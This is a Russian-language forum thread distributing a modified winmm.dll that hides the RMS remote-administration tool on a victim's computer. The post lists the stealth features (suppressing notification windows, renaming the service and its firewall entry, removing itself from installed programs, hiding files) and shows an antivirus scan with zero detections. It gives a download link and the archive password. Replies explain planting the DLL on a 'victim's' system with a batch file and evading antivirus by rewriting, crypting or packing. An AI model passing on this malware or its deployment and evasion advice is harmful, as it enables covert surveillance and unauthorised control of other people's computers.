Скрытый RMS [удаленное администрирование]

winmm.dll под 5.6-6.1 (tektonit/usoris)

Должна лежать рядом с rutserv.exe

[+] scan

Название файла: winmm.dll
Размер файла: 103936 байт
Дата сканирования: Sun, 22 Mar 15 04:48:35 -0400
MD5-хэш файла: 9a5614ccf289f4142856626dc4894dea

Результат: 0 из 39

Ad-Aware: OK
AhnLab V3 Internet Security: OK
ArcaVir: OK
Avast: OK
AVG: OK
Avira: OK
Bitdefender/BullGuard: OK
BullGuard Internet Security 2013: OK
ClamAV (UNIX version): OK
Comodo: OK
Dr.Web: OK
Emsisoft Anti-Malware (a-squared Anti-Malware): OK
eScan Internet Security Suite 14: OK
Fortinet 5: OK
F-Prot: OK
F-Secure 2014: OK
G Data: OK
IKARUS: OK
Immunet: OK
K7 Ultimate: OK
Kaspersky Internet Security 2014: OK
Malware bytes: OK
McAfee Total Protection 2013: OK
Microsoft Security Essentials: OK
NANO: OK
NOD32: OK
Norman: OK
Norton Internet Security: OK
Outpost Security Suite Pro 8.0: OK
Panda Antivirus: OK
Quick Heal: OK
Sophos: OK
SUPERAntiSpyware: OK
Total Defense Internet Security: OK
Trendmicro Titanium Internet Security: OK
Twister Antivirus 8: OK
VBA: OK
VIPRE Internet Security 2013: OK
Virit: OK

Scan report generated by Scanner.FuckAV.ru
[свернуть]

• скрыты окна об отправке мыла/о видеонаблюдении
• переименована служба/изменено описание в виндовом фаерволе (настраивается)
• удаляет себя из списка установленных программ
• удаляет службу оригинального RMS (если таковой был установлен ранее, сомнительная фича)
• заметным файлам устанавливаются атрибуты скрытый и системный

Проверялось кое-как, поэтому если возникают какие-то проблемы - формулируйте чётко.

[+] Настройка названия/описания в службах, фаерволе (не обязательно, всё уже настроено)

Откройте в любом редакторе ресурсов (например в ResHacker) winmm.dll.
Что за что отвечает - на картинке.


[свернуть]

СКАЧАТЬ
https://www.sendspace.com/file/ijr40x

 

ээм а какой пароль от архива? :dontknow:

 

Пароль вроде 123123

Добавлено через 2 минуты

При попытке просмотреть видео gпрерывается каждую секунду (отключает просто) . также и с аудио. ( В чем может быть проблемма ? RMS 6.1

 

Если без длл все ок то вероятно проблема в в чём-то. Потестю, поправлю.

 

подскажите длл нужно поместить в установщик msi?

 

Не обязательно в сам установщик совать, можно на системе жертвы сделать установку тех файлов и к ним перед их запуском уже подложить либу и делают все это обычно через батник, но есть разные варианты исполнения

 

Обновил дллку.
Если хотите подсунуть дллку в папку с уже установленным ранее рмс - перед этим обязательно поменяйте в дллке редактором ресурсов строку с ID 1088 c "1" на "0".

 

С RMS 6.1 работать не хочет, закрывается с ошибкой. На версии 6.0 служба не переименовывается, а так свои функции выполняет на отлично, всплывающее окно прячет хорошо. Ложил в папку с установленной ранее рмс, строку на "0" поменял.

 

Какая ось и что за ошибка?

 

Система вин 7 проф. 32-х битная. тут на версии рмс 6.0 ошибка, на 6.1 такая же была. Перешил БИОС, ошибка на рмс 6.0 пропала. на рмс 6.1 проверить уже не смог, ноут забрали.

 

Очевидно что ошибка из-за манипуляций с именем сервиса. На досуге посмотрю.

 

Windows Defender удаляет install.bat нa Windows 8.1
Dr.Web удаляет install.bat как исполняемый файл, а de.exe распознает как троян.
Вот такие дела ребята.

 

Да вы чо? Правда что ли?
А пацаны и не знали!

 

1505

 

Детект с батника сбивается переписыванием кода (это же очевидно), а детект на сам файл решается переходом на новую версию от Бернса или самостоятельной криптовкой (возможно, что может помочь и паковка чем-нибудь, тут все опытным путем).

 

Подскажите пароль на архив !!!

 

Если удосужиться прочитать тему, то пароль найти не проблема!
P.S. Для лентяев:123123:af:

 

Вопрос снят. Автору респект!

 

Ребят, помогите дураку, срочно надо, пожалуйста.

 

мозгов отсыпать что ли?